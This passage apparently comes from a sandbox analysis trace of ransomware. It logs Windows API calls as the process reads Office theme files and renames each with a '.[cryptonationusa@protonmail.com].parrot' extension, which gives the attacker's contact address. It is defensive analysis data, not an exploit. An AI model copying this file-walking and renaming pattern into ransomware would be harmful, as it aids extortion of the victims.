Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692c18 | out: hHeap=0x5b0000) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.578] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.578] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.579] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.580] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeafa, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xeafa, lpOverlapped=0x0) returned 1 [0122.583] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692ff8 | out: hHeap=0x5b0000) returned 1 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.589] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.589] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.590] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.590] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x254, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x254, lpOverlapped=0x0) returned 1 [0122.590] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692ff8 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.593] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.593] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.595] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.595] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd97, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd97, lpOverlapped=0x0) returned 1 [0122.596] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692ff8 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0122.599] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.599] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.601] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.601] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c5d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7c5d, lpOverlapped=0x0) returned 1 [0122.604] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692ff8 | out: hHeap=0x5b0000) returned 1 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.610] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.610] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.612] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.612] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a537, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a537, lpOverlapped=0x0) returned 1 [0122.616] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6933d8 | out: hHeap=0x5b0000) returned 1 [0122.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0122.624] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.625] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.625] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.626] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1c2, lpOverlapped=0x0) returned 1 [0122.626] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6933d8 | out: hHeap=0x5b0000) returned 1 [0122.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.630] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.630] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.632] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.632] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaa2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaa2, lpOverlapped=0x0) returned 1 [0122.632] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6933d8 | out: hHeap=0x5b0000) returned 1 [0122.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0122.646] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.646] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.647] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.648] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa90c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa90c, lpOverlapped=0x0) returned 1 [0122.653] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6933d8 | out: hHeap=0x5b0000) returned 1 [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.661] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.661] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.663] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.663] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaec9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaec9, lpOverlapped=0x0) returned 1 [0122.665] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6937b8 | out: hHeap=0x5b0000) returned 1 [0122.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.671] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.671] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.672] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.672] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d1, lpOverlapped=0x0) returned 1 [0122.672] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6937b8 | out: hHeap=0x5b0000) returned 1 [0122.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.675] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.675] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.677] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.677] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3b1, lpOverlapped=0x0) returned 1 [0122.677] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6937b8 | out: hHeap=0x5b0000) returned 1 [0122.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0122.680] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.680] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.682] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.682] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f5f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7f5f, lpOverlapped=0x0) returned 1 [0122.684] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6937b8 | out: hHeap=0x5b0000) returned 1 [0122.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6532a0 | out: hHeap=0x5b0000) returned 1 [0122.726] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.726] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.727] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.728] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1ba, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe1ba, lpOverlapped=0x0) returned 1 [0122.731] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x693b98 | out: hHeap=0x5b0000) returned 1 [0122.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.736] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.736] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.737] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.737] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f5, lpOverlapped=0x0) returned 1 [0122.737] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.738] HeapFree (in: hHeap=0x5b0000, 